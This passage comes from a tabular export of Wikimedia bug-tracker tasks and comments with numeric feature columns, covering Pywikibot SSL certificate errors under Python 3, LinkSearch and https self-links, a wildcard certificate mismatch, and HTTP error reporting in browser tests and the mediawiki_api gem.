+https://gerrit.wikimedia.org/r/167546",,,1413937296,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-qsd5yxn5xoycxjge7qrl,task_subcomment,,True,c3,1,False,,,-37,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+325607,http module in py3 doesnt detect and treat SSL certificate errors correctly,"**gerritadmin** wrote:
+
+Change 167546 had a related patch set uploaded by John Vandenberg:
+Detect and handle SSL certificate errors as fatal
+
+https://gerrit.wikimedia.org/r/167546",,,1413804236,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-qsd5yxn5xoycxjge7qrl,task_subcomment,,True,c3,1,False,,,-37,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+74185,External links search does not look for https: links,"On English Wikipedia, go to [[Special:LinkSearch]]. Enter ""en.wikipedia.org/wiki/Wikipedia:Requests_for_comment/Redrose64"", click ""Search"". It comes back with ""There are no results for this report."", even though the link (formatted as [1]) exists at [2] and [3]. I want to find all the places that it's linked in that manner, so that I can fix them all to a proper internal wikilink.
+
+1. https://en.wikipedia.org/wiki/Wikipedia:Requests_for_comment/Redrose64
+2. https://en.wikipedia.org/wiki/Template_talk:Same-sex_unions#Template-protected_edit_request_on_15_October_2014
+3. https://en.wikipedia.org/wiki/Wikipedia:Requests_for_page_protection#Template:Same-sex_unions_.28edit.7Ctalk.7Chistory.7Clinks.7Cwatch.7Clogs.29
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1413558060,1413571277.0,PHID-USER-a4moomwrw7b34p3nknqr,False,,False,PHID-TASK-jjdpk3c6cqrxclqtqxe5,task_description,invalid,True,c3,1,False,False,True,-37,True,1,0,0,0,0,1,1,0,1,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,0,0,0,1
+323269,External links search does not look for https: links,"This behavior is currently intentionally not supported, hence closing as RESOLVED again (which does not mean FIXED). See comment 3: Feel free to create a separate ticket asking for switching on $wgRegisterInternalExternals.",,,1413571277,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-jjdpk3c6cqrxclqtqxe5,task_subcomment,,True,c3,1,True,,,-37,True,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0
+323263,External links search does not look for https: links,"(In reply to Redrose64 from comment #2)
+> Why was this marked ""resolved""? It isn't.
+
+It was marked RESOLVED INVALID = Not a real bug (Since the behavior was intentional)
+
+> If I go to [[Special:LinkSearch]],
+> enter a shorter search term, i.e.
+> ""en.wikipedia.org/wiki/Wikipedia:Requests_for_comment"", and click ""Search"",
+> it comes back with 23 hits [4]; none of these are what I am looking for, and
+> all of them begin http:
+> 
+
+Those are all in error. They will be removed next time someone null edits the relavent page (I null edited 2 of them, now its down to 21).
+
+
+Currently Wikipedia does not consider links to itself to be external links (Personally that doesn't make sense to me, but that's the way it is). Perhaps instead you should file a bug to request $wgRegisterInternalExternals be turned on (Assuming there is community consensus)",,,1413566342,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-jjdpk3c6cqrxclqtqxe5,task_subcomment,,True,c3,1,True,,,-37,True,1,1,0,1,1,1,1,0,0,1,1,1,1,0,1,1,0,1,1,1,1,1,1,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,1,1,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,0,1
+323255,External links search does not look for https: links,"Why was this marked ""resolved""? It isn't. If I go to [[Special:LinkSearch]], enter a shorter search term, i.e. ""en.wikipedia.org/wiki/Wikipedia:Requests_for_comment"", and click ""Search"", it comes back with 23 hits [4]; none of these are what I am looking for, and all of them begin http:
+
+4. http://en.wikipedia.org/w/index.php?title=Special%3ALinkSearch&target=en.wikipedia.org%2Fwiki%2FWikipedia%3ARequests_for_comment",,,1413565794,,PHID-USER-a4moomwrw7b34p3nknqr,False,,,PHID-TASK-jjdpk3c6cqrxclqtqxe5,task_subcomment,,True,c3,1,False,,,-37,True,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1
+323250,External links search does not look for https: links,"External links to the same server not registered as external link or internal link and therefor not searchable by LinkSearch or WhatLinksHere.
+
+See also [[mw:Manual:$wgRegisterInternalExternals]].",,,1413564789,,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,,,PHID-TASK-jjdpk3c6cqrxclqtqxe5,task_subcomment,,True,c3,1,True,,,-37,True,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1
+74182,www.*.wikimedia.org has a bad certificate,"Sites such as www.en.wikipedia.org and www.commons.wikimedia.org redirect to their non-www equivalents (en.wikipedia.org, commons.wikimedia.org). However, when accessing these www. sites over HTTPS there is a host mismatch, as wildcard certificates are not valid for multiple levels of subdomain. As such, visiting https://www.en.wikipedia.org throws an invalid certificate error.
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal",Needs Triage,90.0,1413549360,1413549934.0,PHID-USER-uo5cuzto35jwltfdhy44,False,,False,PHID-TASK-qjbmegbvpp33oxxamp6u,task_description,declined,True,c3,1,False,False,True,-37,True,0,0,0,0,1,1,1,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+323105,www.*.wikimedia.org has a bad certificate,"(In reply to MZMcBride from comment #2)
+> There are older Bugzilla bugs about this, I believe.
+
+Specifically bug 1698.",,,1413550127,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-qjbmegbvpp33oxxamp6u,task_subcomment,,True,c3,1,True,,,-37,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,1,0,1
+323102,www.*.wikimedia.org has a bad certificate,"(In reply to Sam Reed (reedy) from comment #1)
+> Why are you visiting these domains?
+
+As I understand it, there's a reason that www.commons.wikimedia.org and similar URLs were created: it's convention and standard practice for this type of domain format to function properly. There are older Bugzilla bugs about this, I believe.",,,1413549919,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-qjbmegbvpp33oxxamp6u,task_subcomment,,True,c3,1,True,,,-37,True,0,0,0,1,0,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,1,1,1,0,1,1,0,1
+323101,www.*.wikimedia.org has a bad certificate,"Why are you visitng these domains?
+
+There isn't any nice way of fixing this, as WMF isn't going to waste money on buying sub-subdomain SSL certs...",,,1413549698,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-qjbmegbvpp33oxxamp6u,task_subcomment,,True,c3,1,True,,,-37,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,0
+74098,QA: browser tests don't detect or report HTTP response errors,"Browser tests explicitly load pages and click buttons that load pages.
+
+Neither seems to detect outright page load failures. E.g. https://integration.wikimedia.org/ci/job/browsertests-Flow-en.wikipedia.beta.wmflabs.org-linux-chrome-sauce/263/testReport/%28root%29/Actions%20menu%20Permalink/Topic_Actions_menu_Permalink/ failed with status 500 response and a printed exception, but the test instead reported
+    Sauce Labs job URL: http://saucelabs.com/jobs/b15aad5529da47ea979bb0196f17c320
+
+timed out after 5 seconds, waiting for {:css=>"".flow-topic h2"", :index=>0, :tag_name=>""h2""} to become present (Watir::Wait::TimeoutError)
+
+Like ""page has no ResourceLoader errors"" (implemented) and ""browser tests should assert there are no pink error boxes on the page"" (bug 61304), most tests should have an easy way to indicate that an error in a page load should fail outright with something like ""unexpected HTTP response (500)"".
+
+However, note the comment in http://stackoverflow.com/a/5629462/451712 : ""There's a bit of a philosophical debate on whether watir or watir-webdriver should provide HTTP return code information."" so this may be hard to fix.  Since beta and production show errors slightly differently, and some HTTP response errors have friendlier HTML content like ""Wikipedia does not have an article with this exact name"", I'm not sure how to easily and generically detect from page content that there's been a breakdown, even though it's obvious to a human being :)
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Needs Triage,90.0,1413410400,1413412241.0,PHID-USER-gbl4hfak3cfurt3c7skd,False,,False,PHID-TASK-qvtcolv4sv6m43qgv6yi,task_description,declined,True,c3,1,False,False,True,-38,True,1,1,0,0,1,1,1,0,1,0,1,1,0,1,1,1,0,1,1,1,1,1,1,0,1,1,0,0,1,0,0,1,1,1,1,0,1,0,1,0,1,0,0,1,0,1,0,1,1,1,1,1,0,1,1,0,0,1,1,1,1,0,0,1,0,1,0,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,1,1
+330154,QA: browser tests don't detect or report HTTP response errors,"marking WONTFIX, see https://code.google.com/p/selenium/issues/detail?id=141 and http://lmgtfy.com/?q=selenium+webdriver+http+response+code",,,1413412241,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-qvtcolv4sv6m43qgv6yi,task_subcomment,,True,c3,1,False,,,-38,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0
+330150,QA: browser tests don't detect or report HTTP response errors,"It's nothing to do with watir, the Selenium maintainers have been explicit from the very beginning that Selenium will never read HTTP response codes.
+
+If you care about those, you'll need to run your HTTP through a proxy of some sort and do the analysis there and not in the browser.",,,1413411759,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-qvtcolv4sv6m43qgv6yi,task_subcomment,,True,c3,1,False,,,-38,True,1,0,1,0,1,1,1,0,0,1,1,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+74056,QA: mediawiki_api doesn't report HTTP errors,"An Echo browser test trying to create an account failed with 503 Service unavailable. That's understandable, but the indication of failure was buried in the HTML of the WMF error page.
+
+It would be great if the mediawiki_api gem noticed the HTTP request error status and failed with e.g. ""create_account API HTTP request failure: <Status line>""
+
+I'm confused because gerrit 157300 fixed bug 70193 ""Client now throws an HttpError when handling HTTP responses"", but the check
+   raise HttpError, response.status if response.status >= 400
+seems missing from mediawiki_api-0.2.1 in this CI run and my local .rvm gem.
+
+The failure was in <https://integration.wikimedia.org/ci/job/browsertests-Echo-en.wikipedia.beta.wmflabs.org-linux-chrome-sauce/105/consoleFull>
+The line that went wrong is:
+
+    on(APIPage).client.create_account(username, ENV[""MEDIAWIKI_PASSWORD""])
+
+The console output is
+
+...
+05:35:08     Given I am logged in as a new user                    # features/step_definitions/notifications_steps.rb:60
+05:35:08       757: unexpected token at '<!DOCTYPE html PUBLIC ""-//W3C//DTD XHTML 1.0 Transitional//EN"" ""http://www.w3.org/TR/2002/REC-xhtml1-20020801/DTD/xhtml1-transitional.dtd"">
+... entire text of the HTML error page
+... 100s of lines later:
+05:35:09          <!-- Technical details of the error; shows all the time, with any language -->
+05:35:09          <div class=""TechnicalStuff"">
+05:35:09           <bdo dir=""ltr"">
+05:35:09               503 Service Temporarily Unavailable
+05:35:09           </bdo>
+05:35:09           <div id=""AdditionalTechnicalStuff""></div>
+05:35:09          </div>
+... 100s more lines
+05:35:09       </html>
+05:35:09     
+05:35:09       ' (JSON::ParserError)
+
+05:35:09       /mnt/jenkins-workspace/workspace/gems/gems/json-1.8.1/lib/json/common.rb:155:in `parse'
+05:35:09       /mnt/jenkins-workspace/workspace/gems/gems/json-1.8.1/lib/json/common.rb:155:in `parse'
+05:35:09       /mnt/jenkins-workspace/workspace/gems/gems/mediawiki_api-0.2.1/lib/mediawiki_api/response.rb:85:in `response_object'
+05:35:09       /mnt/jenkins-workspace/workspace/gems/gems/mediawiki_api-0.2.1/lib/mediawiki_api/response.rb:46:in `data'
+05:35:09       /mnt/jenkins-workspace/workspace/gems/gems/mediawiki_api-0.2.1/lib/mediawiki_api/client.rb:51:in `create_account'
+05:35:09       /mnt/jenkins-workspace/workspace/gems/gems/mediawiki_api-0.2.1/lib/mediawiki_api/client.rb:58:in `create_account'
+05:35:09       /mnt/jenkins-workspace/workspace/browsertests-Echo-en.wikipedia.beta.wmflabs.org-linux-chrome-sauce/tests/browser/features/step_definitions/common_steps.rb:48:in `block in <top (required)>'
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1413321660,1413404871.0,PHID-USER-gbl4hfak3cfurt3c7skd,False,,False,PHID-TASK-2npmjjhfixtvuh5qis56,task_description,resolved,True,c3,1,False,False,True,-38,True,1,0,0,1,0,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,0,1,0,1,0,1,1,1,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,1
+328404,QA: mediawiki_api doesn't report HTTP errors,"I renamed api.php locally, did bundle update, ran Echo's features/notifications_userrights.feature , and it quickly failed with
+
+      unexpected HTTP response (404) (MediawikiApi::HttpError)
+      ./features/step_definitions/notifications_steps.rb:8:in `clear_notifications'
+
+\o/ !
+
+The next problem is getting WMF's CI to use the new version.  The latest Echo run https://integration.wikimedia.org/ci/job/browsertests-Echo-en.wikipedia.beta.wmflabs.org-linux-chrome-sauce/108/consoleFull  still uses old version 0.2.1, e.g.
+   /mnt/jenkins-workspace/workspace/gems/gems/mediawiki_api-0.2.1/lib/mediawiki_api/response.rb:85:in `response_object'
+
+So I guess we have to go into 13 extensions using mediawiki_api, `bundle update`, and check in their new Gemfile.locks. I dunno if there's a way to automate this. I filed a separate bug 72090",,,1413404871,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-2npmjjhfixtvuh5qis56,task_subcomment,,True,c3,1,False,,,-38,True,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,1,0,0,1,1,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,1,0,1,1
+328398,QA: mediawiki_api doesn't report HTTP errors,"S, did the change solve the problem?",,,1413360994,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-2npmjjhfixtvuh5qis56,task_subcomment,,True,c3,1,True,,,-38,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0
+328392,QA: mediawiki_api doesn't report HTTP errors,Built and released the gem. Running `bundle update mediawiki_api` in your tests/browser directory should update you to 0.3.0.,,,1413325671,,PHID-USER-7bifphmxtcqgvdofuzla,False,,,PHID-TASK-2npmjjhfixtvuh5qis56,task_subcomment,,True,c3,1,True,,,-38,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+328388,QA: mediawiki_api doesn't report HTTP errors,"Change 166679 merged by jenkins-bot:
+Releasing minor version 0.3.0
+
+https://gerrit.wikimedia.org/r/166679",,,1413325384,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2npmjjhfixtvuh5qis56,task_subcomment,,True,c3,1,False,,,-38,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+328383,QA: mediawiki_api doesn't report HTTP errors,"Change 166679 had a related patch set uploaded by Dduvall:
+Releasing minor version 0.3.0
+
+https://gerrit.wikimedia.org/r/166679",,,1413323735,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2npmjjhfixtvuh5qis56,task_subcomment,,True,c3,1,False,,,-38,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+74009,Fedora 20 ships python3 httplib2 0.7.7 with unpatched SSL cert file,"IIRC, there is a problem with certificates in httplib2 pre-0.9 (bug 65189).  FC20 ships 0.7.7 on python2 and python3
+
+$ rpm -qi python-httplib2
+Name        : python-httplib2
+Version     : 0.7.7
+Release     : 3.fc20
+...
+$ rpm -qi python3-httplib2
+Name        : python3-httplib2
+Version     : 0.7.7
+Release     : 3.fc20
+...
+
+On py2, the 0.7.7 package works correctly.
+On py3, the following occurs running site_tests
+
+On py2, all tests pass using 0.7.7.  On python3, tests fail badly (using en.wp as default site).
+
+$ python3 pwb.py tests/site_tests.py
+.../pywikibot/family.py:879: DeprecationWarning: imp.load_source() is deprecated; use importlib.machinery.SourceFileLoader(name, pathname).load_module() instead
+  myfamily = imp.load_source(fam, config.family_files[fam])
+ERROR: Traceback (most recent call last):
+  File ""/usr/lib/python3.3/site-packages/httplib2/__init__.py"", line 992, in _conn_request
+    response = conn.getresponse()
+  File ""/usr/lib64/python3.3/http/client.py"", line 1135, in getresponse
+    raise ResponseNotReady(self.__state)
+http.client.ResponseNotReady: Idle
+
+During handling of the above exception, another exception occurred:
+
+Traceback (most recent call last):
+  File "".../pywikibot/data/api.py"", line 517, in submit
+    headers=headers, body=body)
+  File "".../pywikibot/tools.py"", line 367, in wrapper
+    return method(*__args, **__kw)
+  File "".../pywikibot/comms/http.py"", line 258, in request
+    raise request.data
+  File "".../pywikibot/comms/threadedhttp.py"", line 219, in request
+    max_redirects, connection_type
+  File ""/usr/lib/python3.3/site-packages/httplib2/__init__.py"", line 1272, in request
+    (response, content) = self._request(conn, authority, uri, request_uri, method, body, headers, redirections, cachekey)
+  File ""/usr/lib/python3.3/site-packages/httplib2/__init__.py"", line 1026, in _request
+    (response, content) = self._conn_request(conn, request_uri, method, body, headers)
+  File ""/usr/lib/python3.3/site-packages/httplib2/__init__.py"", line 999, in _conn_request
+    conn.connect()
+  File ""/usr/lib64/python3.3/http/client.py"", line 1202, in connect
+    server_hostname=server_hostname)
+  File ""/usr/lib64/python3.3/ssl.py"", line 245, in wrap_socket
+    _context=self)
+  File ""/usr/lib64/python3.3/ssl.py"", line 345, in __init__
+    raise x
+  File ""/usr/lib64/python3.3/ssl.py"", line 341, in __init__
+    self.do_handshake()
+  File ""/usr/lib64/python3.3/ssl.py"", line 548, in do_handshake
+    self._sslobj.do_handshake()
+ssl.SSLError: [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed (_ssl.c:547)
+
+WARNING: Waiting 5 seconds before retrying.
+ERROR: Traceback (most recent call last):
+  File ""/usr/lib/python3.3/site-packages/httplib2/__init__.py"", line 992, in _conn_request
+    response = conn.getresponse()
+  File ""/usr/lib64/python3.3/http/client.py"", line 1135, in getresponse
+    raise ResponseNotReady(self.__state)
+http.client.ResponseNotReady: Idle
+
+During handling of the above exception, another exception occurred:
+
+Traceback (most recent call last):
+  File "".../pywikibot/data/api.py"", line 517, in submit
+    headers=headers, body=body)
+  File "".../pywikibot/tools.py"", line 367, in wrapper
+    return method(*__args, **__kw)
+  File "".../pywikibot/comms/http.py"", line 258, in request
+    raise request.data
+  File "".../pywikibot/comms/threadedhttp.py"", line 219, in request
+    max_redirects, connection_type
+  File ""/usr/lib/python3.3/site-packages/httplib2/__init__.py"", line 1272, in request
+    (response, content) = self._request(conn, authority, uri, request_uri, method, body, headers, redirections, cachekey)
+  File ""/usr/lib/python3.3/site-packages/httplib2/__init__.py"", line 1026, in _request
+    (response, content) = self._conn_request(conn, request_uri, method, body, headers)
+  File ""/usr/lib/python3.3/site-packages/httplib2/__init__.py"", line 999, in _conn_request
+    conn.connect()
+  File ""/usr/lib64/python3.3/http/client.py"", line 1202, in connect
+    server_hostname=server_hostname)
+  File ""/usr/lib64/python3.3/ssl.py"", line 245, in wrap_socket
+    _context=self)
+  File ""/usr/lib64/python3.3/ssl.py"", line 345, in __init__
+    raise x
+  File ""/usr/lib64/python3.3/ssl.py"", line 341, in __init__
+    self.do_handshake()
+  File ""/usr/lib64/python3.3/ssl.py"", line 548, in do_handshake
+    self._sslobj.do_handshake()
+ssl.SSLError: [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed (_ssl.c:547)
+
+WARNING: Waiting 10 seconds before retrying.
+^CTraceback (most recent call last):
+  File ""/usr/lib/python3.3/site-packages/httplib2/__init__.py"", line 992, in _conn_request
+    response = conn.getresponse()
+  File ""/usr/lib64/python3.3/http/client.py"", line 1135, in getresponse
+    raise ResponseNotReady(self.__state)
+http.client.ResponseNotReady: Idle
+
+During handling of the above exception, another exception occurred:
+
+Traceback (most recent call last):
+  File "".../pywikibot/data/api.py"", line 517, in submit
+    headers=headers, body=body)
+  File "".../pywikibot/tools.py"", line 367, in wrapper
+    return method(*__args, **__kw)
+  File "".../pywikibot/comms/http.py"", line 258, in request
+    raise request.data
+  File "".../pywikibot/comms/threadedhttp.py"", line 219, in request
+    max_redirects, connection_type
+  File ""/usr/lib/python3.3/site-packages/httplib2/__init__.py"", line 1272, in request
+    (response, content) = self._request(conn, authority, uri, request_uri, method, body, headers, redirections, cachekey)
+  File ""/usr/lib/python3.3/site-packages/httplib2/__init__.py"", line 1026, in _request
+    (response, content) = self._conn_request(conn, request_uri, method, body, headers)
+  File ""/usr/lib/python3.3/site-packages/httplib2/__init__.py"", line 999, in _conn_request
+    conn.connect()
+  File ""/usr/lib64/python3.3/http/client.py"", line 1202, in connect
+    server_hostname=server_hostname)
+  File ""/usr/lib64/python3.3/ssl.py"", line 245, in wrap_socket
+    _context=self)
+  File ""/usr/lib64/python3.3/ssl.py"", line 345, in __init__
+    raise x
+  File ""/usr/lib64/python3.3/ssl.py"", line 341, in __init__
+    self.do_handshake()
+  File ""/usr/lib64/python3.3/ssl.py"", line 548, in do_handshake
+    self._sslobj.do_handshake()
+ssl.SSLError: [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed (_ssl.c:547)
+
+During handling of the above exception, another exception occurred:
+
+Traceback (most recent call last):
+  File ""pwb.py"", line 164, in <module>
+    run_python_file(fn, argv, argvu)
+  File ""pwb.py"", line 69, in run_python_file
+    exec(compile(source, filename, ""exec""), main_mod.__dict__)
+  File ""tests/site_tests.py"", line 1481, in <module>
+    unittest.main()
+  File ""/usr/lib64/python3.3/unittest/main.py"", line 125, in __init__
+    self.runTests()
+  File ""/usr/lib64/python3.3/unittest/main.py"", line 265, in runTests
+    self.result = testRunner.run(self.test)
+  File ""/usr/lib64/python3.3/unittest/runner.py"", line 168, in run
+    test(result)
+  File ""/usr/lib64/python3.3/unittest/suite.py"", line 67, in __call__
+    return self.run(*args, **kwds)
+  File ""/usr/lib64/python3.3/unittest/suite.py"", line 105, in run
+    test(result)
+  File ""/usr/lib64/python3.3/unittest/suite.py"", line 67, in __call__
+    return self.run(*args, **kwds)
+  File ""/usr/lib64/python3.3/unittest/suite.py"", line 105, in run
+    test(result)
+  File ""/usr/lib64/python3.3/unittest/case.py"", line 529, in __call__
+    return self.run(*args, **kwds)
+  File ""/usr/lib64/python3.3/unittest/case.py"", line 477, in run
+    self._executeTestPart(testMethod, outcome, isTest=True)
+  File ""/usr/lib64/python3.3/unittest/case.py"", line 422, in _executeTestPart
+    function()
+  File ""tests/site_tests.py"", line 1065, in testRandompages
+    rn = list(mysite.randompages(total=10))
+  File "".../pywikibot/site.py"", line 3574, in randompages
+    g_content=content)
+  File "".../pywikibot/site.py"", line 1357, in _generator
+    gen = gen_class(type_arg, site=self, **args)
+  File "".../pywikibot/data/api.py"", line 1100, in __init__
+    QueryGenerator.__init__(self, generator=generator, **kwargs)
+  File "".../pywikibot/data/api.py"", line 819, in __init__
+    self.update_limit()  # sets self.prefix
+  File "".../pywikibot/data/api.py"", line 914, in update_limit
+    for param in self._modules[mod].get(""parameters"", []):
+  File "".../pywikibot/data/api.py"", line 865, in _modules
+    data = paramreq.submit()
+  File "".../pywikibot/data/api.py"", line 764, in submit
+    self._data = super(CachedRequest, self).submit()
+  File "".../pywikibot/data/api.py"", line 535, in submit
+    self.wait()
+  File "".../pywikibot/data/api.py"", line 651, in wait
+    time.sleep(self.retry_wait)
+KeyboardInterrupt
+<class 'KeyboardInterrupt'>
+CRITICAL: Waiting for 1 network thread(s) to finish. Press ctrl-c to abort
+
+--------------------------
+**Version**: core-(2.0)
+**Severity**: normal
+**OS**: Linux
+**Platform**: PC
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=72236
+https://bugzilla.redhat.com/show_bug.cgi?id=1154641",Needs Triage,90.0,1413243300,1433297689.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,PHID-USER-oxd6f6xemkuyttw7z7wl,False,PHID-TASK-s7xkcw7rbgjudwqrsqhf,task_description,resolved,True,c3,1,True,True,True,-38,True,1,0,0,1,0,1,1,0,0,0,1,1,0,0,1,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,1,1,0,1,1,1,1
